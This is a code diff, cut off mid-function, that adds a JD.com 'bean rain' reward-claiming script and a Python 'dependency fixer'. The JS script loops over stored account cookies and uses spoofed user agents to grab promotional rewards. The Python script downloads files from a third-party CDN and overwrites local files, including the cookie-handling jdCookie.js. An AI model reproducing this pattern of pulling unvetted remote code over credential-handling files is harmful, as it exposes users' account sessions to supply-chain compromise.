b/jd_redrain_half.js @@ -0,0 +1,298 @@ +/* +半点京豆雨 +更新时间:2022-1-11 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen 感谢小手大佬修改接口 +==============Quantumult X============== +[task_local] +#半点京豆雨 +30 21,22 * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_live_redrain.js, tag=半点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "30 21,22 * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js,tag=半点京豆雨 +================Surge=============== +半点京豆雨 = type=cron,cronexp="30 21,22 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js +===============小火箭========== +半点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain_half.js, cronexpr="30 21,22 * * *", timeout=3600, enable=true +*/ +const $ = new Env('半点京豆雨'); +let allMessage = '', id = ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let jd_redrain_half_url = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_half_url) jd_redrain_half_url = process.env.jd_redrain_half_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + if (!jd_redrain_half_url) { + $.log(`尝试使用默认远程url`); + jd_redrain_half_url = 'https://raw.githubusercontent.com/Ca11back/scf-experiment/master/json/redrain_half.json' + } + let hour = (new Date().getUTCHours() + 8) % 24; + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:正在远程获取${hour}点30分京豆雨ID\n`); + await $.wait(1000); + let redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`尝试使用cdn`); + jd_redrain_half_url = 'https://raw.fastgit.org/Ca11back/scf-experiment/master/json/redrain_half.json' + redIds = await getRedRainIds(jd_redrain_half_url) + if (!redIds || !redIds.length) { + $.log(`默认远程url获取失败`); + return + } + } + for (let id of redIds) { + if (!/^RRA/.test(id)) { + console.log(`\nRRA: "${id}"不符合规则\n`); + continue; + } + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位:${id},正在领取${hour}点30分京豆雨\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await queryRedRainTemplateNew(id) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (data) { + if (data.subCode == "0") { + console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}个`); + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_scripts_check_dependence.py b/jd_scripts_check_dependence.py new file mode 100644 index 0000000..5b065c7 --- /dev/null +++ b/jd_scripts_check_dependence.py @@ -0,0 +1,614 @@ +# -*- coding: UTF-8 -*- +# 作者仓库:https://github.com/spiritLHL/qinglong_auto_tools +# 觉得不错麻烦点个star谢谢 +# 频道:https://t.me/qinglong_auto_tools + + +''' +cron: 0 +new Env('修复脚本依赖文件'); +''' + +import os, requests +import os.path +import time + +# from os import popen + +# 感谢spiritLHL大佬的脚本! +# 只修复依赖文件(jdCookie.js那种)!!不修复环境依赖(pip install aiohttp)!! +# 如要运行脚本 请在配置文件添加 +# export ec_fix_dep="true" + +# 如果运行完本脚本仍然出错,请使用Faker一键部署脚本重新部署 + +txtx = "青龙配置文件中的config中填写下列变量启用对应功能\n\n增加缺失依赖文件(推荐)\n填写export ec_fix_dep=\"true\"\n" +print(txtx) + +try: + if os.environ["ec_fix_dep"] == "true": + print("已配置依赖文件缺失修复\n") + fix = 1 + else: + fix = 0 +except: + fix = 0 + print("#默认不修复缺失依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_fix_dep=\"true\" \n#开启脚本依赖文件缺失修复\n") + +try: + if os.environ["ec_ref_dep"] == "true": + print("已配置依赖文件老旧更新\n") + ref = 1 + else: + ref = 0 +except: + ref = 0 + print("#默认不更新老旧依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_re_dep=\"true\" #开启脚本依赖文件更新\n") + + +def traversalDir_FirstDir(path): + list = [] + if (os.path.exists(path)): + files = os.listdir(path) + for file in files: + m = os.path.join(path, file) + if (os.path.isdir(m)): + h = os.path.split(m) + list.append(h[1]) + print("文件夹名字有:") + print(list) + return list + + +def check_dependence(file_path): + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir(file_path) + else: + dir_list = os.listdir("." + file_path) + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}{}".format(file_path, i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + if "db" in os.listdir("../"): + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("." + file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir(file_path + "utils") + else: + utils_list = os.listdir("." + file_path + "utils") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "utils") + utils_list = os.listdir(file_path + "utils") + else: + os.makedirs("." + file_path + "utils") + utils_list = os.listdir("." + file_path + "utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 {}utils/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}utils/{}".format(file_path, i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir(file_path + "function") + else: + function_list = os.listdir("." + file_path + "function") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "function") + function_list = os.listdir(file_path + "function") + else: + os.makedirs("." + file_path + "function") + function_list = os.listdir("." + file_path + "function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 {}function/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}function/{}".format(file_path, i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open('.' + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +def check_root(): + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir("./") + else: + dir_list = os.listdir("../") + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}".format(i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + if "db" in os.listdir("../"): + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir("./utils") + else: + utils_list = os.listdir("../utils") + except: + if "db" in os.listdir("../"): + os.makedirs("utils") + 